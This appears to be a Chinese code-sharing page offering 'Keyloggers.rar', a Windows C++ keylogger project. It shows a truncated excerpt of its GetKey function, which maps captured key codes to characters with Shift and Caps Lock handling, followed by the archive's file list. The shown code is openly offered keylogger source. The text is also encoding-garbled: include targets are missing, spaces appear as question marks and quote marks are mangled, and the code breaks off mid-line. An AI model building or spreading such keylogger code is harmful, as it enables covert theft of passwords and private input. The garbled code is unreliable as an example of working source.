資源簡介
Keyloggers.rar

代碼片段和文件信息
#include?
#include?
#include?
#include?
#include?
using?namespace?std;
string?GetKey(int?Key)?//?判斷鍵盤按下什么鍵
{
string?KeyString?=?““;
const?int?KeyPressMask=0x80000000;?//鍵盤掩碼常量
int?iShift=GetKeyState(0x10);?//判斷Shift鍵狀態(tài)
bool?IS=(iShift?&?KeyPressMask)==KeyPressMask;?//表示按下Shift鍵
if?(Key?>=48?&&?Key?<=?57)?//?鍵盤數(shù)字:0-9及上方的符號
{
if(IS)
{
switch(Key)
{
case?48:{KeyString?=?“)“;}break; //0
case?49:{KeyString?=?“!“;}break; //1
case?50:{KeyString?=?“@“;}break; //2
case?51:{KeyString?=?“#“;}break; //3
case?52:{KeyString?=?“$“;}break; //4
case?53:{KeyString?=?“%“;}break; //5
case?54:{KeyString?=?“^“;}break; //6
case?55:{KeyString?=?“&“;}break; //7
case?56:{KeyString?=?“*“;}break; //8
case?57:{KeyString?=?“(“;}break; //9
}
}
else
KeyString?=?Key;
}
//對字母的大小寫進(jìn)行判斷
if?(Key?>=97?&&?Key?<=?122)?//?字母:a-z
{
if?(GetKeyState(VK_CAPITAL))?//?大寫鎖定
{
if(IS)?{KeyString?=?Key;}else{KeyString?=?Key?-?32;}??//Shift按下:為小寫字母??否則??大寫字母
}
else//?大寫沒有鎖定
{
if(IS){KeyString?=?Key?-?32;}else{KeyString?=?Key;}???//?按下Shift鍵:?大寫字母??否則??小寫字母
}
}
if(Key?>=186?&&?Key?<=222)
{
switch(Key)
{
case?186:{if(IS){KeyString?=?“:“;}else{KeyString?=?“;“;}}break;
case?187:{if(IS){KeyString?=?“+“;}else{KeyString?=?“=“;}}break;
case?188:{if(IS){KeyString?=?“<“;}else{KeyString?=?““;}}break;
case?189:{if(IS){KeyString?=?“_“;}else{KeyString?=?“-“;}}break;
case?190:{if(IS){KeyString?=?“>“;}else{KeyString?=?“.“;}}break;
case?191:{if(IS){KeyString?=?“?“;}else{KeyString?=?“/“;}}break;
case?192:{if(IS){KeyString?=?“~“;}else{KeyString?=?“‘“;}}break;
case?219:{if(IS){KeyString?=?“{“;}else{KeyString?=?“[“;}}break;
case?220:{if(IS){KeyString?=?“|“;}else{KeyString?=?“\\“;}}break;
case?221:{if(IS){KeyString?=?‘}‘;}else{KeyString?=?‘]‘;}}break;
case?222:{if(IS){KeyString?=?‘“‘;}else{KeyString?=?“‘“;}}break;
}
}
//判斷鍵盤的第一行
if?(Key?==?VK_ESCAPE){KeyString?=?“[Esc]“;}?//?退出
if?(Key?==?VK_F1){KeyString?=?“[F1]“;}?//?F1至F12
if?(Key?==?VK_F2){KeyString?=?“[F2]“;}
if?(Key?==?VK_F3){KeyString?=?“[F3]“;}
if?(Key?==?VK_F4){KeyString?=?“[F4]“;}
if?(Key?==?VK_F5){KeyString?=?“[F5]“;}
if?(Key?==?VK_F6){KeyString?=?“[F6]“;}
if?(Key?==?VK_F7){KeyString?=?“[F7]“;}
if?(Key?==?VK_F8){KeyString?=?“[F8]“;}
if?(Key?==?VK_F9){KeyString?=?“[F9]“;}
if?(Key?==?VK_F10){KeyString?=?“[F10]“;}
if?(Key?==?VK_F11){KeyString?=?“[F11]“;}
if?(Key?==?VK_F12){KeyString?=?“[F12]“;}
if?(Key?==?VK_SNAPSHOT){KeyString?=?“[PrScrn]“;}?//?打印屏幕
if?(Key?==?VK_SCROLL){KeyString?=?“[Scroll?Lock]“;}?//?滾動(dòng)鎖定
if?(Key?==?VK_PAUSE){KeyString?=?“[Pause]“;}?//?暫停、中斷
if?(Key?==?VK_CAPITAL){KeyString?=?“[Caps?Lock]“;}
//控制鍵
if?(Key?==?8){KeyString?=?“[Backspace]“;}?//<-?回格鍵
if?(Key?==?VK_RETURN){KeyString?=?“[Enter]\n“;}?//?回車鍵、換行
if?(Key?==?VK_SPACE){KeyString?=?“[Space]“;}?//?空格
if?(Key
?屬性????????????大小?????日期????時(shí)間???名稱
-----------?---------??----------?-----??----
?????文件???????4330??2014-12-14?17:02??鍵盤記錄器.dsp
?????文件????????545??2014-12-16?20:24??鍵盤記錄器.dsw
?????文件???????6437??2014-12-16?20:27??主程序.cpp
-----------?---------??----------?-----??----
????????????????11312????????????????????3
- 上一篇:沒有了
- 下一篇:機(jī)器人軌跡仿真用三次B樣條插值
評論
共有 條評論